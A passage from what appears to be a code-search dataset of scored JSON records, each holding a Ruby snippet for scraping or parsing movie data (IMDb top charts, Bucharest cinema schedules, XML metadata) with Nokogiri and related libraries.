parse_html_page(movie)\n page = Nokogiri::HTML(open(\"#{pages_path}/#{movie.title}.html\"))\n parent_element = page.at(\"div#titleDetails h3:contains('Box Office')\")\n parent_element.next_element.text.match(%r{\\$\\S*}).to_s if parent_element\n end", "title": "" }, { "docid": "4b17a38bd41f2f9565d6df99de00edf1", "score": "0.6095837", "text": "def known_for\n get_nodes(\"//div[starts-with(@id, 'knownfor')]/div[contains(@class, 'knownfor-title')]\") do |div|\n begin\n imdb_id = div.at(\"div[@class='knownfor-title-role']/a\")['href'][/(?<=title\\/tt)\\d+/]\n movie = Imdb::Movie.new(imdb_id)\n movie.title = div.at(\"div[@class='knownfor-title-role']/a\").content\n movie.year = div.at(\"div[@class='knownfor-year']/span\").content[/\\d{4}/].to_i\n movie.poster_thumbnail = div.at('img')['src']\n movie.related_person = self\n movie.related_person_role = div.at(\"div[@class='knownfor-title-role']/span\").content\n movie\n rescue\n nil\n end\n end.compact\n end", "title": "" }, { "docid": "4803101a96cfce1109017bfa094a8dbf", "score": "0.60746086", "text": "def movies\n find_nodes_film_and_year.map{|n| new_movie n }.compact\n end", "title": "" }, { "docid": "a4b7da6d4f74687537c0efe8496cca87", "score": "0.60500413", "text": "def document\n @document ||= Nokogiri::HTML(@html)\n end", "title": "" }, { "docid": "705121e5a0b4eab9ac64afccbf2af51e", "score": "0.60183275", "text": "def document\n @document ||= Hpricot(Imdb::Season.find_by_season(@url))\n end", "title": "" }, { "docid": "d5a7329d9c58b708f9b09138fae42c0c", "score": "0.60137486", "text": "def doc\n @doc ||= Nokogiri::XML(content)\n end", "title": "" }, { "docid": "7dba53b138564e2448c62d0db415d704", "score": "0.6010578", "text": "def ScrapAnalyseOneMovieElement(oneMovieXML)\n movie_info = {}\n \n movie_info['id'] = oneMovieXML.elements['id'].text\n movie_info['id_allocine'] = oneMovieXML.elements['id_allocine'].text\n movie_info['id_imdb'] = oneMovieXML.elements['id_imdb'].text\n movie_info['last_change'] = oneMovieXML.elements['last_change'].text\n movie_info['url'] = oneMovieXML.elements['url'].text\n movie_info['title'] = oneMovieXML.elements['title'].text\n movie_info['originaltitle'] = oneMovieXML.elements['originaltitle'].text\n movie_info['year'] = oneMovieXML.elements['year'].text\n movie_info['runtime'] = oneMovieXML.elements['runtime'].text\n movie_info['plot'] = oneMovieXML.elements['plot'].text\n movie_info['tagline'] = oneMovieXML.elements['tagline'].text if not oneMovieXML.elements['tagline'].nil?\n movie_info['information'] = oneMovieXML.elements['information'].text if not oneMovieXML.elements['information'].nil?\n \n movie_info['ratings'] = {}\n movie_info['ratings']['cinepassion'] = {}\n movie_info['ratings']['allocine'] = {}\n movie_info['ratings']['imdb'] = {}\n ratings = oneMovieXML.elements[\"ratings\"]\n ratings_cinepassion = ratings.elements[\"rating[@type='cinepassion']\"]\n movie_info['ratings']['cinepassion']['votes'] = ratings_cinepassion.attributes['votes']\n movie_info['ratings']['cinepassion']['value'] = ratings_cinepassion.text\n ratings_allocine = ratings.elements[\"rating[@type='allocine']\"]\n movie_info['ratings']['allocine']['votes'] = ratings_allocine.attributes['votes']\n movie_info['ratings']['allocine']['value'] = ratings_allocine.text\n ratings_imdb = ratings.elements[\"rating[@type='imdb']\"]\n movie_info['ratings']['imdb']['votes'] = ratings_imdb.attributes['votes']\n movie_info['ratings']['imdb']['value'] = ratings_imdb.text\n \n movie_info['directors'] = []\n directors = oneMovieXML.elements[\"directors\"]\n if not directors.nil?\n directors.each_element(\"director\") do |director|\n movie_info['directors'].push(director.text)\n end\n end\n \n movie_info['trailers'] = []\n trailers = oneMovieXML.elements[\"trailers\"]\n if not trailers.nil?\n trailers.each_element(\"trailer\") do |trailer|\n movie_info['trailers'].push(trailer.text)\n end\n end\n \n movie_info['countries'] = []\n countries = oneMovieXML.elements[\"countries\"]\n if not countries.nil?\n countries.each_element(\"country\") do |country|\n movie_info['countries'].push(country.text)\n end\n end\n \n movie_info['genres'] = []\n genres = oneMovieXML.elements[\"genres\"]\n if not genres.nil?\n genres.each_element(\"genre\") do |genre|\n movie_info['genres'].push(genre.text)\n end\n end\n \n movie_info['studios'] = []\n studios = oneMovieXML.elements[\"studios\"]\n if not studios.nil?\n studios.each_element(\"studio\") do |studio|\n movie_info['studios'].push(studio.text)\n end\n end\n \n movie_info['credits'] = []\n credits = oneMovieXML.elements[\"credits\"]\n if not credits.nil?\n credits.each_element(\"credit\") do |credit|\n movie_info['credits'].push(credit.text)\n end\n end\n \n movie_info['images'] = {}\n images = oneMovieXML.elements[\"images\"]\n if not images.nil?\n images.each_element(\"image\") do |image|\n img_id = image.attributes['id']\n img_size = image.attributes['size']\n \n if not movie_info['images'].has_key? img_id\n movie_info['images'][img_id] = {}\n end\n \n movie_info['images'][img_id]['type'] = image.attributes['type']\n if not movie_info['images'][img_id].has_key? img_size\n movie_info['images'][img_id][img_size] = {}\n end\n movie_info['images'][img_id][img_size]['url'] = image.attributes['url']\n movie_info['images'][img_id][img_size]['width'] = image.attributes['width']\n movie_info['images'][img_id][img_size]['height'] = image.attributes['height']\n end\n end\n \n movie_info['casting'] = {}\n casting = oneMovieXML.elements[\"casting\"]\n if not casting.nil?\n casting.each_element(\"person\") do |person|\n person_id = person.attributes['id']\n \n if not movie_info['casting'].has_key? person_id\n movie_info['casting'][person_id] = {}\n end\n \n movie_info['casting'][person_id]['name'] = person.attributes['name']\n movie_info['casting'][person_id]['character'] = person.attributes['character']\n movie_info['casting'][person_id]['idthumb'] = person.attributes['idthumb']\n movie_info['casting'][person_id]['thumb'] = person.attributes['thumb']\n end\n end\n \n nfo_base = \"#{@siteurl}/scraper/index.php?id=#{movie_info['id']}&Download=1\"\n movie_info['nfo'] = {}\n movie_info['nfo']['Babylon'] = {}\n movie_info['nfo']['Camelot'] = {}\n nfo_babylon = \"#{nfo_base}&Version=0\"\n movie_info['nfo']['Babylon']['fr'] = \"#{nfo_babylon}&Lang=fr&OK=1\"\n movie_info['nfo']['Babylon']['en'] = \"#{nfo_babylon}&Lang=en&OK=1\"\n nfo_camelot = \"#{nfo_base}&Version=1\"\n movie_info['nfo']['Camelot']['fr'] = \"#{nfo_camelot}&Lang=fr&OK=1\"\n movie_info['nfo']['Camelot']['en'] = \"#{nfo_camelot}&Lang=en&OK=1\"\n \n return movie_info\n end", "title": "" }, { "docid": "218b2764e4e35453d3e766310fc6a55d", "score": "0.59950036", "text": "def to_xml\n xml = ''\n unless @movie.blank?\n @movie.delete_if { |key, value| value.nil? }\n xml = XmlSimple.xml_out(@movie, 'NoAttr' => true, 'RootName' => 'movie')\n end\n xml\n end", "title": "" }, { "docid": "d615a208ebf2643278377ec6ddf4a945", "score": "0.59822464", "text": "def nokogiri\n @nokogiri ||= Nokogiri::HTML(@root_attachment.blob.download)\n end", "title": "" }, { "docid": "865738934784edfeb5c8dc9b21a1e6a9", "score": "0.5930027", "text": "def extract_doc\n file = File.open(@path)\n doc = Nokogiri::XML(file)\n file.close\n doc\n end", "title": "" }, { "docid": "404726330d829eccd4725cbe49deda36", "score": "0.59127855", "text": "def fetch_movie_urls\n url = 'https://www.imdb.com/chart/top'\n html_file = open(url, \"Accept-Language\" => \"en\").read\n html_doc = Nokogiri::HTML(html_file)\n # html_doc.search('.titleColumn')[0...5].map do |element|\n # \"http://www.imdb.com#{element.children[1].attributes[\"href\"].value}\"\n # end\n\n html_doc.search('.titleColumn > a')[0...5].map do |element|\n \"http://www.imdb.com#{element.attributes[\"href\"].value}\"\n end\nend", "title": "" }, { "docid": "c9ed078b166616850534633dd6a20e82", "score": "0.5897213", "text": "def fetch_movie_urls\n top_url = \"https://www.imdb.com/chart/top\"\n # open the url\n html_file = URI.open(top_url).read\n # parse with nokogiri\n html_doc = Nokogiri::HTML(html_file)\n\n top_movies = []\n html_doc.search(\".titleColumn a\").first(5).each do |movie|\n top_movies << \"https://www.imdb.com#{movie.attribute('href')}\"\n end\n top_movies\nend", "title": "" }, { "docid": "c6dc6a95bfce6a70f2ff6c6082a440fc", "score": "0.5867407", "text": "def process(doc)\n\t\tbegin\n\t\t\tmovies = get_movies(doc)\n\t\trescue Exception => e\n\t\t\tCrawlerYoujizz.log \"Unable to extract movies, reason: '#{e.to_s}'\"\n\t\tend\n\n\t\tnp = @@URI_ROOT + get_next_page(doc)\n\n\t\tif(np && np != @uri)\n\t\t\t@uri = np\n\t\telse\n\t\t\t@uri = nil\n\t\tend\n\tend", "title": "" }, { "docid": "c591cee2864ef4e990c637a17d6ea80a", "score": "0.58601373", "text": "def movie\n fetch('studio_ghibli.movies')\n end", "title": "" }, { "docid": "5f3e4ed261f6989c36c25ee5cd9d6b37", "score": "0.5852401", "text": "def document\n @doc ||= Nokogiri::XML(@xml)\n end", "title": "" }, { "docid": "9ed15fa99b02b1cc2f99fad0c3727958", "score": "0.58517706", "text": "def movie\n\t\tmovie_params = params[:q]\n\t\tif movie_params\n\t\t\tresp = Typhoeus.get(\"http://www.omdbapi.com\", params: {i: movie_params})\n\t\t\t@movie = JSON.parse(resp.body)\n\t\telse\n\t\t\t@movie = {}\n\t\tend\n\tend", "title": "" }, { "docid": "0e234667589457998d573ede8a3da8e4", "score": "0.58512443", "text": "def movie_page\r\n TopOneHundred::Scraper.new.movie_page(self)\r\n end", "title": "" }, { "docid": "747c1f4cbc6db1ab68ed2e7e2de4bd88", "score": "0.5828099", "text": "def genres\n document.xpath(\"//*[@itemprop='genre']//a\").map { |elem|\n elem.text.imdb_unescape_html\n } rescue []\n end", "title": "" }, { "docid": "b6ab258fc9f092fbe56143bb9c323703", "score": "0.58222413", "text": "def fetch_movie_urls(number = 5)\n url = \"https://www.imdb.com/chart/top\"\n\n html_file = open(url, \"Accept-Language\" => \"en\").read\n html_doc = Nokogiri::HTML(html_file)\n\n movies = []\n html_doc.search('.lister-list tr td.titleColumn a').first(number).each do |element|\n movies << \"http://www.imdb.com#{element.attribute('href').value}\"\n end\n movies\nend", "title": "" }, { "docid": "cb7e0d4ea80ff8b20163841a3b711f79", "score": "0.5821498", "text": "def render_nokogiri\n unless defined? Nokogiri\n raise ArgumentError, \"Nokogiri not found!\"\n end\n\n builder = Nokogiri::XML::Builder.new(:encoding => \"UTF-8\") do |xml|\n xml.urlset(XmlSitemap::MAP_SCHEMA_OPTIONS) { |s|\n @items.each do |item|\n s.url do |u|\n u.loc item.target\n\n # Format and image tag specifications found at http://support.google.com/webmasters/bin/answer.py?hl=en&answer=178636\n if item.image_location\n u[\"image\"].image do |a|\n a[\"image\"].loc item.image_location\n a[\"image\"].caption item.image_caption if item.image_caption\n a[\"image\"].title item.image_title if item.image_title\n a[\"image\"].license item.image_license if item.image_license\n a[\"image\"].geo_location item.image_geolocation if item.image_geolocation\n end\n end\n\n # Format and video tag specifications found at http://support.google.com/webmasters/bin/answer.py?hl=en&answer=80472&topic=10079&ctx=topic#2\n if item.video_thumbnail_location && item.video_title && item.video_description && (item.video_content_location || item.video_player_location)\n u[\"video\"].video do |a|\n a[\"video\"].thumbnail_loc item.video_thumbnail_location\n a[\"video\"].title item.video_title\n a[\"video\"].description item.video_description\n a[\"video\"].content_loc item.video_content_location if item.video_content_location\n a[\"video\"].player_loc item.video_player_location if item.video_player_location\n a[\"video\"].duration item.video_duration.to_s if item.video_duration\n a[\"video\"].expiration_date item.video_expiration_date_value if item.video_expiration_date\n a[\"video\"].rating item.video_rating.to_s if item.video_rating\n a[\"video\"].view_count item.video_view_count.to_s if item.video_view_count\n a[\"video\"].publication_date item.video_publication_date_value if item.video_publication_date\n a[\"video\"].family_friendly item.video_family_friendly if item.video_family_friendly\n a[\"video\"].category item.video_category if item.video_category\n a[\"video\"].restriction item.video_restriction, :relationship => \"allow\" if item.video_restriction\n a[\"video\"].gallery_loc item.video_gallery_location if item.video_gallery_location\n a[\"video\"].price item.video_price.to_s, :currency => \"USD\" if item.video_price\n a[\"video\"].requires_subscription item.video_requires_subscription if item.video_requires_subscription\n a[\"video\"].uploader item.video_uploader if item.video_uploader\n a[\"video\"].platform item.video_platform, :relationship => \"allow\" if item.video_platform\n a[\"video\"].live item.video_live if item.video_live\n end\n end\n\n u.lastmod item.lastmod_value\n u.changefreq item.changefreq.to_s if item.changefreq\n u.priority item.priority.to_s if item.priority\n end\n end\n }\n end\n builder.to_xml\n end", "title": "" }, { "docid": "7e3981adffde0e404bb8cab5e3dce030", "score": "0.58080554", "text": "def doc() d=xml.elements[\"doc\"]; d and d.text; end", "title": "" }, { "docid": "ded84d9190d4f61f136e333e0b00280c", "score": "0.5802093", "text": "def document\n @document ||= Hpricot(IMDB::Movie.find_by_id(@id))\n end", "title": "" }, { "docid": "34dd673b11b67c5144f1eac53c61218c", "score": "0.578442", "text": "def document\n if @document.nil?\n html = fetch(self.query.escape_unicode)\n @document = XmlSimple.xml_in(html)\n @document = nil if @document['totalResults'] == ['0']\n end\n @document\n end", "title": "" }, { "docid": "4263c30fa461a0369c1111a5b92b2e8d", "score": "0.5783543", "text": "def doc\n @doc ||= Nokogiri.HTML(content)\n end", "title": "" }, { "docid": "e00f5f2bc685be09554e579a5afb7001", "score": "0.5759065", "text": "def get_xml_document\n Nokogiri::XML(self.body)\n end", "title": "" }, { "docid": "98fa8fe7f5c269b6bd941ec631f3c614", "score": "0.5755811", "text": "def create\n doc = Nokogiri::HTML(open(\"http://www.cinemagia.ro/program-cinema/bucuresti/\"))\n\n\tcounter = 1\n\tzileSaptamana = Array.new\n\tzileDate = Array.new\n\tschedule = doc.css(\"div.nav_tabs a\").map do |s|\n\t\tif counter == 8\n\t\telse\n\t\t\tcounter = counter + 1\n\t\t\tzileSaptamana.push(s['href'])\t\n\t\t\tzileDate.push(s['title'])\n\t\tend\n\tend\n\n\tfor k in 0..6\n\t\tpaginaZi = Nokogiri::HTML(open(zileSaptamana[k]))\n\t\tcontainers = paginaZi.css(\"div.program_cinema_show\")\n\t\tcontainers.each do |container|\n\t\t\t@movie = Movie.new\n\t\t\t@movie.location = \"\"\n\t\t\t@movie.time = \"\"\n\t\t\t@movie.latitude = \"\"\n\t\t\t@movie.longitude = \"\"\n\t\t\tstr = zileDate[k].split(\"-\")[1]\n\t\t\t@movie.date = str.split(\" \")[1] + \" \" + str.split(\" \")[2][0..2] + \" 2015\" \n\t\t\t\tprogram = container.css(\"div.program\").children\n\t\t\t\ttitle = container.css(\"div.movie_details\").css(\"h2\").css(\"a\")[0]['title']\n\t\t\t\t@movie.title = title\n\t\t\t\tmovieURL = container.css(\"div.movie_details\").css(\"h2\").css(\"a\")[0]['href']\n\t\t\t\tmoviePage = Nokogiri::HTML(open(movieURL))\n\t\t\t\tdescription = moviePage.css(\"div#body_sinopsis\").text.gsub(/[ăîșțâĂÎȘȚÂ]/, 'ă' => 'a', 'î' => 'i', 'ș' => 's', 'ț' => 't', 'â' => 'a', 'Ă' => 'A', 'Î' => 'I', 'Ș' => 'S', 'Ț' => 'T', 'Â' => 'A')\n\t\t\t\t@movie.description = description.lstrip!\n\t\t\t\t\n\t\t\t\tprogram.each do |div|\n\t\t\t\t\ttimes = div.text.scan(/[0-9]{2}:[0-9]{2}/)\n\t\t\t\t\ttimes1 = times.join(\"-\")\n\t\t\t\t\tif div.css(\"a.theatre-link\").text != \"\" || times1 != \"\"\n\t\t\t\t\t\ttheatername = div.css(\"a.theatre-link\").text\n\t\t\t\t\t\t@movie.location = @movie.location + \"/\" + theatername\n\t\t\t\t\t\t@movie.time = @movie.time + \"/\" + times1\n\t\t\t\t\t\tcase theatername\n\t\t\t\t\t\t\twhen \"Grand Cinema & More\"\n\t\t\t\t\t\t\t\tlatitude = \"44.509977\"\n\t\t\t\t\t\t\t\tlongitude = \"26.084102\"\n\t\t\t\t\t\t\twhen \"Grand VIP Studios\"\n\t\t\t\t\t\t\t\tlatitude = \"44.509977\"\n\t\t\t\t\t\t\t\tlongitude = \"26.084102\"\n\t\t\t\t\t\t\twhen \"Hollywood Multiplex\"\n\t\t\t\t\t\t\t\tlatitude = \"44.42076\"\n\t\t\t\t\t\t\t\tlongitude = \"26.125438\"\t\n\t\t\t\t\t\t\twhen \"Movieplex Cinema Plaza\"\n\t\t\t\t\t\t\t\tlatitude = \"44.427744\"\n\t\t\t\t\t\t\t\tlongitude = \"26.034693\"\t\n\t\t\t\t\t\t\twhen \"Cinema City Cotroceni\"\n\t\t\t\t\t\t\t\tlatitude = \"44.428386\"\n\t\t\t\t\t\t\t\tlongitude = \"26.054796\"\t\n\t\t\t\t\t\t\twhen \"Cine Grand Titan\"\n\t\t\t\t\t\t\t\tlatitude = \"44.420196\"\n\t\t\t\t\t\t\t\tlongitude = \"26.179000\"\n\t\t\t\t\t\t\twhen \"Cinema City Cotroceni VIP\"\n\t\t\t\t\t\t\t\tlatitude = \"44.428386\"\n\t\t\t\t\t\t\t\tlongitude = \"26.054796\"\n\t\t\t\t\t\t\twhen \"Cinema City Sun Plaza\"\n\t\t\t\t\t\t\t\tlatitude = \"44.394984\"\n\t\t\t\t\t\t\t\tlongitude = \"26.121172\"\n\t\t\t\t\t\t\twhen \"Cinema City Mega Mall\"\n\t\t\t\t\t\t\t\tlatitude = \"44.442720\"\n\t\t\t\t\t\t\t\tlongitude = \"26.151908\"\n\t\t\t\t\t\t\twhen \"T IMAX®\"\n\t\t\t\t\t\t\t\tlatitude = \"44.428386\"\n\t\t\t\t\t\t\t\tlongitude = \"26.054796\"\n\t\t\t\t\t\t\twhen \"CinemaPRO\"\n\t\t\t\t\t\t\t\tlatitude = \"44.434409\"\n\t\t\t\t\t\t\t\tlongitude = \"26.102376\"\n\t\t\t\t\t\t\twhen \"Cinemateca Eforie\"\n\t\t\t\t\t\t\t\tlatitude = \"44.433797\"\n\t\t\t\t\t\t\t\tlongitude = \"26.095642\"\n\t\t\t\t\t\t\twhen \"Cinemateca Union\"\n\t\t\t\t\t\t\t\tlatitude = \"44.437304\"\n\t\t\t\t\t\t\t\tlongitude = \"26.096272\"\n\t\t\t\t\t\t\twhen \"Corso\"\n\t\t\t\t\t\t\t\tlatitude = \"44.434979\"\n\t\t\t\t\t\t\t\tlongitude = \"26.10038\"\n\t\t\t\t\t\t\twhen \"Elvira Popescu\"\n\t\t\t\t\t\t\t\tlatitude = \"44.446528\"\n\t\t\t\t\t\t\t\tlongitude = \"26.104814\"\n\t\t\t\t\t\t\twhen \"Europa\"\n\t\t\t\t\t\t\t\tlatitude = \"44.438324\"\n\t\t\t\t\t\t\t\tlongitude = \"26.114543\"\n\t\t\t\t\t\t\twhen \"Glendale Studio\"\n\t\t\t\t\t\t\t\tlatitude = \"44.437776\"\n\t\t\t\t\t\t\t\tlongitude = \"26.069248\"\n\t\t\t\t\t\t\twhen \"Caffe Cinema 3D Patria\"\n\t\t\t\t\t\t\t\tlatitude = \"44.442630\"\n\t\t\t\t\t\t\t\tlongitude = \"26.099158\"\n\t\t\t\t\t\t\twhen \"Patria\"\n\t\t\t\t\t\t\t\tlatitude = \"44.442366\"\n\t\t\t\t\t\t\t\tlongitude = \"26.098981\"\n\t\t\t\t\t\t\twhen \"Scala\"\n\t\t\t\t\t\t\t\tlatitude = \"44.440934\"\n\t\t\t\t\t\t\t\tlongitude = \"26.099739\"\n\t\t\t\t\t\t\twhen \"Studio\"\n\t\t\t\t\t\t\t\tlatitude = \"44.445153\"\n\t\t\t\t\t\t\t\tlongitude = \"26.097613\"\n\t\t\t\t\t\t\twhen \"Movie Vip Cinema\"\n\t\t\t\t\t\t\t\tlatitude = \"44.374401\"\n\t\t\t\t\t\t\t\tlongitude = \"26.119481\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@movie.latitude = @movie.latitude + \"/\" + latitude\n\t\t\t\t\t\t@movie.longitude = @movie.longitude + \"/\" + longitude\n\t\t\t\t\t\t@movie.save\n\t\t\t\t\tend\n\t\t\t\tend\n\t\tend\n\tend\n\n respond_to do |format|\n if @movie.save\n format.html { redirect_to @movie, notice: 'Movie was successfully created.' }\n format.json { render :show, status: :created, location: @movie }\n else\n format.html { render :new }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bb7cb5e6167495a1ddf33be9569c8f19", "score": "0.5739587", "text": "def doc\n @doc = Nokogiri::HTML(open(@filename)) if @doc.nil? # Lazy parsing of doc, only when needed\n @doc\n end", "title": "" }, { "docid": "bb7cb5e6167495a1ddf33be9569c8f19", "score": "0.5739587", "text": "def doc\n @doc = Nokogiri::HTML(open(@filename)) if @doc.nil? # Lazy parsing of doc, only when needed\n @doc\n end", "title": "" }, { "docid": "c561b64d460106ea61e9ea90cd55c50d", "score": "0.57391137", "text": "def doc \n @doc ||= Nokogiri::HTML(open(self.url))\nend", "title": "" }, { "docid": "413d073c002d92e8de6fcf2300fa978d", "score": "0.57363117", "text": "def fetch_movie_urls\n url = \"https://www.imdb.com/chart/top\"\n html_file = open(url, \"Accept-Language\" => \"en\").read\n\n html_doc = Nokogiri::HTML(html_file)\n html_doc.search('.titleColumn > a').first(5).map do |element|\n \"http://www.imdb.com#{element.attributes[\"href\"].value}\"\n end\nend", "title": "" }, { "docid": "b55c3585df7bdb4f1279b61bff3c9167", "score": "0.57294947", "text": "def document\n @document ||= begin\n row = all('.factura-emitida').detect { |ul| ul.text =~ /#{@human_month} de #{@year}/ }\n raise \"Ono invoice for month #{month} is not available yet.\" unless row\n path = within row do\n find('a.descargar-factura')[:onclick].scan(/href = '([^']+)'/).flatten.first\n end\n\n url = \"https://www.ono.es\" + path\n\n cookie = Cookie.new('JSESSIONID', get_me_the_cookie('JSESSIONID')[:value])\n Document.new(url, :get, cookie)\n end\n end", "title": "" }, { "docid": "a11a23bd043ce138b7355579edbb9b2b", "score": "0.57256025", "text": "def doc\n @doc ||= Nokogiri::XML(to_xml)\n end", "title": "" }, { "docid": "0cae098c64152048102b9788b544f70f", "score": "0.5699339", "text": "def load_document\n require 'open-uri'\n self.doc = Nokogiri::HTML(open(self.link))\n end", "title": "" }, { "docid": "7808a1152f83b9257c804e74ce19753c", "score": "0.56794703", "text": "def scrape\n return unless @doc\n scrape_metas\n scrape_stats\n scrape_authors\n scrape_abstract\n scrape_jelcodes\n end", "title": "" }, { "docid": "d7a35b06f3871bb8ea5848650db1007c", "score": "0.5678068", "text": "def fetch_movie_urls\n\n results = []\n #1 open the webpage and get its html -> html string\n html_string = open(\"https://www.imdb.com/chart/top\").read\n\n #2 transform html string into a Nokogiki Object\n doc = Nokogiri::HTML(html_string)\n\n #3 search the nokogiri object for the links I am looking for\n movies = doc.search(\".titleColumn a\").first(5)\n\n movies.each do |movie|\n # store them into an array\n results << \"https://www.imdb.com#{movie.attributes[\"href\"].value}\"\n end\n\n #4 return the array\n return results\n\nend", "title": "" }, { "docid": "bf52775187e86c45e7011c79da4f4410", "score": "0.5673828", "text": "def get_genres\n\n\t doc = Nokogiri::HTML(open(GENRES_URL, \n\t 'User-Agent' => 'web:com.ReddMusic.surfReddit:v1.4 ALPHA by /u/hoppy93'))\n\t \n\t doc.css(\"div.md\").css('h2, a').each { |node|\n\t \n\t current_genre ||= \"\" # Current object where storing data\n\t parsing_genre ||= \"\" # New parsed tag\n\t genres_counter = -1 # Used for store subgenres in the array\n\t \n\t if node.name == 'h2'\n\t parsing_genre = node.attr('id')\n\t \n\t if parsing_genre != current_genre\n\t current_genre = parsing_genre\n\t #puts node.attr('id') # debug purpose\n\t @genres.push(Genre.new(node.attr('id')))\n\t genres_counter += 1\n\t end\n\t \n\t end\n\t \n\t if node.name == 'a' && !@genres[genres_counter].nil?\n\t if parsing_genre == current_genre\n\t #puts \"It is #{node.attr('href')}\" # debug purpose\n\t @genres[genres_counter]\n\t .subgenres\n\t .push(Subgenre.new(node.text.strip,node.attr('href')))\n\t end\n\t \n\t end\n\t \n }\n \n end", "title": "" }, { "docid": "ef2af433278b83b960ac7494076fa8a4", "score": "0.566837", "text": "def initialize(doc)\n thumb = doc.xpath('nicovideo_thumb_response/thumb')\n @id = thumb.xpath('video_id').text\n @title = thumb.xpath('title').text\n @description = thumb.xpath('description').text\n @thumbnail_url = thumb.xpath('thumbnail_url').text\n @first_retrieve = Time.parse(thumb.xpath('first_retrieve').text)\n @length = thumb.xpath('length').text\n @movie_type = thumb.xpath('movie_type').text\n @size_high = thumb.xpath('size_high').text.to_i\n @size_low = thumb.xpath('size_low').text.to_i\n @view_counter = thumb.xpath('view_counter').text.to_i\n @comment_num = thumb.xpath('comment_num').text.to_i\n @mylist_counter = thumb.xpath('mylist_counter').text.to_i\n @last_res_body = thumb.xpath('last_res_body').text\n @watch_url = thumb.xpath('watch_url').text\n @type = thumb.xpath('thumb_type').text\n @embeddable = thumb.xpath('embeddable').text\n @no_live_play = thumb.xpath('no_live_play').text\n\n @tags = {}\n thumb.xpath('tags').each do |tags|\n domain = tags['domain']\n @tags[domain] = []\n tags.xpath('tag').each do |tag|\n lock = tag['lock'] == '1' ? true : false\n @tags[domain] << Tag.new(value: tag.text, lock: lock)\n end\n end\n\n @user_id = thumb.xpath('user_id').text.to_i\n end", "title": "" }, { "docid": "dc88a4daa41d846f474eb3b4e78daf24", "score": "0.5638912", "text": "def fetch_file\n @doc = Nokogiri::XML(open(@url))\n @root_node = @doc.xpath(\"/k:kml/k:Document\", @@NAMESPACES)\n end", "title": "" }, { "docid": "24e704c346a1135543c6b3eaf751724b", "score": "0.56357676", "text": "def doc\n\tNokogiri::HTML(open(\"https://coinmarketcap.com/all/views/all/\"))\nend", "title": "" }, { "docid": "988ad98a6389d0912f5c1f88a5d03246", "score": "0.5634992", "text": "def Document(xml)\n Nokogiri::HTML(xml, nil, 'UTF-8')\n end", "title": "" }, { "docid": "988ad98a6389d0912f5c1f88a5d03246", "score": "0.5634992", "text": "def Document(xml)\n Nokogiri::HTML(xml, nil, 'UTF-8')\n end", "title": "" }, { "docid": "ce461e338fb413039fb19565cf4e4da2", "score": "0.56274277", "text": "def parse_xml xml_doc\n if xml_doc.elements[\"rsp/video/title\"].nil?\n return nil\n else\n @title = xml_doc.elements[\"rsp/video/title\"].text\n @id = id\n @caption = xml_doc.elements[\"rsp/video/caption\"].text\n @upload_date = xml_doc.elements[\"rsp/video/upload_date\"].text\n @likes = xml_doc.elements[\"rsp/video/number_of_likes\"].text.to_i\n @plays = xml_doc.elements[\"rsp/video/number_of_plays\"].text.to_i\n @width = xml_doc.elements[\"rsp/video/width\"].text.to_i\n @height = xml_doc.elements[\"rsp/video/height\"].text.to_i\n @num_comments =\n xml_doc.elements[\"rsp/video/number_of_comments\"].text.to_i\n @owner = User.new\n @owner.id = xml_doc.elements[\"rsp/video/owner\"].attributes[\"id\"].to_i\n @owner.username =\n xml_doc.elements[\"rsp/video/owner\"].attributes[\"username\"]\n @owner.fullname =\n xml_doc.elements[\"rsp/video/owner\"].attributes[\"fullname\"]\n @url = xml_doc.elements[\"rsp/video/urls/url\"].text\n \n xml_doc.elements.each('rsp/video/thumbnails/thumbnail') do |thumb|\n url = thumb.text\n w = thumb.attributes[\"width\"].to_i\n h = thumb.attributes[\"height\"].to_i\n thumbnail = Thumbnail.new(url, w, h)\n @thumbs << thumbnail\n end\n end\n end", "title": "" }, { "docid": "c4cab37eac9a6ee7089c2f97c12756fb", "score": "0.56267935", "text": "def doc\n @doc ||= Nokogiri::XML(@xml)\n end", "title": "" }, { "docid": "44c6ad33e16d23d0c4cdc94e7442438a", "score": "0.5609398", "text": "def get_doc\n begin\n @doc ||= Nokogiri(open( @url ))\n rescue Exception => e\n raise \"Problem with URL #{@url}: #{e}\"\n end\n end", "title": "" }, { "docid": "623ff23a92798c05fc35a08f3360984d", "score": "0.56048715", "text": "def doc\n return Nokogiri::HTML(self.response.body)\n end", "title": "" }, { "docid": "2c99a51b96897b93b76db6cd88ce9e53", "score": "0.55974585", "text": "def doc\n @doc ||= parse_html(html)\n end", "title": "" }, { "docid": "af50882f0acbf8d86246ee13bc2a35f6", "score": "0.5596046", "text": "def documents\n @xml.xpath('//xmlns:document', 'xmlns' => 'http://wherein.yahooapis.com/v1/schema').map do |d|\n Placemaker::Document.new(d)\n end\n end", "title": "" }, { "docid": "295d63b4e66a996968aee6805099d199", "score": "0.558908", "text": "def get_page\n website=\"https://learn-co-curriculum.github.io/site-for-scraping/courses\" #use scaper\n doc = Nokogiri::HTML(open(website))\n # doc.css(\".post\").each do |post|\n # course = Course.new\n # course.title = post.css(\"h2\").text\n # course.schedule = post.css(\".date\").text\n # course.description = post.css(\"p\").text\n # end #doc.css.post\n # puts \"#{Course.all}\"\n # binding.pry\n # doc\n\n end", "title": "" }, { "docid": "0870de777c010a24cd0123645ed1f499", "score": "0.5587381", "text": "def reference doc\n node = doc[:content].is_a?(Nokogiri::XML::NodeSet) ? doc[:content].first.parent : doc[:content]\n attribute = doc[:attribute]\n uri = doc[:uri]\n\n source = Node(nil)\n selector = Node(nil)\n presentation = Node(nil)\n \n source.graph << selector\n source.sc::selector = selector\n \n selector.rdf::type = Node('sc:UnivocalSelector')\n selector.sc::path = node.path\n selector.sc::document = uri\n selector.sc::attribute = attribute if attribute\n \n if node.path != '/'\n selector.sc::tag = node.name\n source.graph << presentation\n source.sc::presentation = presentation\n end\n \n presentation.sc::x = node[:vx] if node[:vx]\n presentation.sc::y = node[:vy] if node[:vy]\n presentation.sc::width = node[:vw] if node[:vw]\n presentation.sc::height = node[:vh] if node[:vh]\n presentation.sc::font_size = node[:vsize] if node[:vsize]\n presentation.sc::font_family = node[:vfont] if node[:vfont]\n presentation.sc::font_weight = node[:vweight] if node[:vweight]\n presentation.sc::text = node.text.strip\n \n source\n end", "title": "" }, { "docid": "2ebf3473d346b88a4badbc753ffa2219", "score": "0.55845284", "text": "def imdb_top_movie_urls\n # Set imdb top movies url page\n url = \"https://www.imdb.com/chart/top\"\n # Open and read the page\n html_string = open(url).read\n # Parse it with 